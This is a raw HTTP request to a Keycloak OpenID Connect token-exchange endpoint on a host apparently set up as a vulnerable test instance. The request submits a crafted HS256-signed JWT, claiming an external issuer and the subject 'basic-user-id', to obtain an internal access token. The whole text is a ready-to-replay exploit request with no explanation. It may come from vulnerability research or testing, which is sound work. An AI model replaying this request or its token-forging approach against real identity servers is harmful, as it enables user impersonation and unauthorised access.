POST http://keycloak-vuln-variant:8080/realms/test-realm/protocol/openid-connect/token
grant_type=urn:ietf:params:oauth:grant-type:token-exchange
subject_token_type=urn:ietf:params:oauth:token-type:jwt
subject_issuer=ext-idp
requested_token_type=urn:ietf:params:oauth:token-type:access_token
client_id=te-client
subject_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2V4dGVybmFsLWlkcC1pc3N1ZXIiLCJzdWIiOiJiYXNpYy11c2VyLWlkIiwiYXVkIjoiaHR0cHM6Ly9leHRlcm5hbC1pZHAtaXNzdWVyIiwidHlwIjoiQmVhcmVyIiwiZXhwIjoxNzgzMjY3NTE0LCJpYXQiOjE3ODMyNjcyMTQsImp0aSI6IjdmOGFmZjMxLTIwNzgtNDg3Mi1hN2Q2LTE2OTExZTI3NjliYyJ9.VIC7k2ch_3JO7ubeSKt57TtukK71XbLWB29uzI3-QF0